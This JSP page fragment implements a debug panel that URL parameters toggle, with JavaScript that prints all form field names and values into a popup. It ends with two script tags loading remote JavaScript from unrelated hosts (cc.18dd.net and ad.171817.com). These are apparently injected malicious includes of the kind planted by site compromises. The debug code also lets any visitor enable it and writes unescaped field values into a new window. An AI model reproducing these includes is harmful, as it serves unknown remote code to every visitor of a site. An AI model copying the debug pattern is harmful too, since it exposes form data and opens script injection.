<% 
 
 //turnoff label key printing
 if("true".equals(request.getParameter("TURNOFF_DEBUG_SHOW_LABEL_KEY"))){
   ((java.util.Map)session.getAttribute("DEBUG")).remove("SHOW_LABEL_KEY");
 }
 
 String debugFlag = request.getParameter("TURNOFF_DEBUG");
 if("true".equalsIgnoreCase(debugFlag)){
   //turn off debug mode by removing the DEBUG attribute from session
   session.removeAttribute("DEBUG"); 	   
 }else{  	  
 	//init. debug mode by adding a DEBUG HashMap attribute into session
  if(session.getAttribute("DEBUG")==null){
    session.setAttribute("DEBUG",new java.util.HashMap());
  }
  
  //put SHOW_LABEL_KEY into DEBUG to indicate label key showing
  if("true".equals(request.getParameter("TURNON_DEBUG_SHOW_LABEL_KEY"))){
    ((java.util.Map)session.getAttribute("DEBUG")).put("SHOW_LABEL_KEY","true");
  } 	
  //only generate the debug contents if debugFlag != false
%>
<script>
function debugTurnOff(){
  window.location.href = window.location.href + "&TURNOFF_DEBUG=true";
}

function debugShowLabelKey(){
  window.location.href = window.location.href + "&TURNON_DEBUG_SHOW_LABEL_KEY=true";
}

function debugPrintForms(){    
  var resultHTML = '';
  var forms = document.forms;    
  for(var i=0; i < forms.length;i++){
    resultHTML = resultHTML + debugPrintForm(forms[i]) + "<br><br>";
  }  
  debugGeneratePopupWindow(resultHTML);
}

function debugGeneratePopupWindow(htmlContent){
  var generator = window.open('','','height=600,width=800,scrollbars=1');    
  generator.document.write("<html><body>");
  generator.document.write(htmlContent);
  generator.document.write("</body></html>");
  generator.document.close();
  generator.focus();  
  return generator;
}

function debugPrintForm(form){

  var resultHTML = "<table border=1>";  
      resultHTML = resultHTML + "<tr style='background:#F2F2F2'><td colspan='3'>" + form.name + "</td></tr>";  
      resultHTML = resultHTML + "<tr style='background:#F2F2F2'>";  
      resultHTML = resultHTML + "<td>Element Name</td>";  
      resultHTML = resultHTML + "<td>Element ID</td>";  
      resultHTML = resultHTML + "<td>Element Value</td>";                    
      resultHTML = resultHTML + "</tr>";  

  var elements   = form.elements;
  if(elements!=null){
    //elements.sort(debugSortElement);    
    for(var i=0; i < elements.length;i++){
      var element = elements[i];
      resultHTML = resultHTML + "  <tr>"
      resultHTML = resultHTML + "    <td>" + element.name  + "</td>";
      resultHTML = resultHTML + "    <td>" + element.id    + "&nbsp;</td>";
      resultHTML = resultHTML + "    <td>" + element.value + "</td>";
      resultHTML = resultHTML + "  </tr>"
    }        
  }
  resultHTML = resultHTML + "</table>";  
  return resultHTML;
}
</script>
<div id="SYSTEM_DEBUG_CONTROL" style="position:absolute;x:0;y:0;width:200px;background-color:white">
	<table>
	  <tr>
	    <td>
        <input type="button" style="width:150px;height:20px" onclick="debugPrintForms()"   value="Print Form Variables"><br>
        <input type="button" style="width:150px;height:20px" onclick="debugShowLabelKey()" value="Show Label Key">
      </td>      
      <td valign="top"><a href="javascript:debugTurnOff()">X</a></td>
    </tr>  
  </table>
</div>
<%}%>


<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>